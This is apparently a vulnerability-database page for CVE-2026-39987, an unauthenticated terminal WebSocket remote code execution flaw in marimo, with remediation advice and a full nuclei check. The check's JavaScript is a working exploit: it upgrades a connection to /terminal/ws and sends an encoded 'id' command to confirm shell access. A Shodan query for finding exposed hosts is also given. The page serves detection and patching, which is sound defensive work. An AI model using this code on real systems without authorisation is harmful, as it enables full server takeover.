HexBrain

Browse / CVEs / CVE-2026-39987

CVE-2026-39987· marimo-team / marimo· CWE-306

Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE

Exploited in the wild. Listed by CISA on 2026-04-23; known to be used by ransomware.

criticalseverity
9.3CVSS score
99.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.

Impact

An unauthenticated attacker can achieve full remote code execution on the server by connecting to the exposed terminal WebSocket endpoint without any credentials, gaining complete control of the underlying system.

Fix

Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the terminal WebSocket endpoint.

How to confirm it

Positive when: matches /uid=\d+\([^)]+\)/ AND success == true

Run it with nuclei: nuclei -id CVE-2026-39987 -u <target>

The full check
id: CVE-2026-39987

info:
  name: Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE
  author: ritikchaddha
  severity: critical
  description: |
    Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.
  impact: |
    An unauthenticated attacker can achieve full remote code execution on the server by connecting to the exposed terminal WebSocket endpoint without any credentials, gaining complete control of the underlying system.
  remediation: |
    Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the
    terminal WebSocket endpoint.
  reference:
    - https://github.com/advisories/GHSA-2679-6mx9-h9xc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39987
    - https://github.com/marimo-team/marimo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-39987
    epss-score: 0.99743
    epss-percentile: 0.99954
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: marimo-team
    product: marimo
    shodan-query: http.favicon.hash:-1864630356
  tags: cve,cve2026,marimo,rce,websocket,vkev,kev

javascript:
  - code: |
      let net = require("nuclei/net");
      let addr = target_host + ":" + target_port;
      let conn = net.Open('tcp', addr);

      let wsKey = "dGhlIHNhbXBsZSBub25jZQ==";

      let req = "GET /terminal/ws HTTP/1.1\r\n";
      req += "Host: " + addr + "\r\n";
      req += "Upgrade: websocket\r\n";
      req += "Connection: Upgrade\r\n";
      req += "Sec-WebSocket-Key: " + wsKey + "\r\n";
      req += "Sec-WebSocket-Version: 13\r\n";
      req += "Origin: http://" + addr + "\r\n";
      req += "\r\n";

      conn.Send(req);
      let upgradeResp = conn.RecvString();

      if (upgradeResp.indexOf("101") !== -1) {
        conn.SendHex("818337fa1e2d5e9e14");

        let output = "";
        for (let i = 0; i < 5; i++) {
          let chunk = conn.RecvString();
          if (chunk.length > 0) {
            output += chunk;
          }
          if (output.indexOf("uid=") !== -1) {
            break;
          }
        }

        conn.Close();
        Export(upgradeResp + output);
      }

    args:
      target_host: "{{Host}}"
      target_port: "{{Port}}"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=\\d+\\([^)]+\\)"

      - type: dsl
        dsl:
          - "success == true"

    extractors:
      - type: regex
        regex:
          - "uid=\\d+\\([^)]+\\)"

References

Use this check only on systems you are authorised to test. Where the data comes from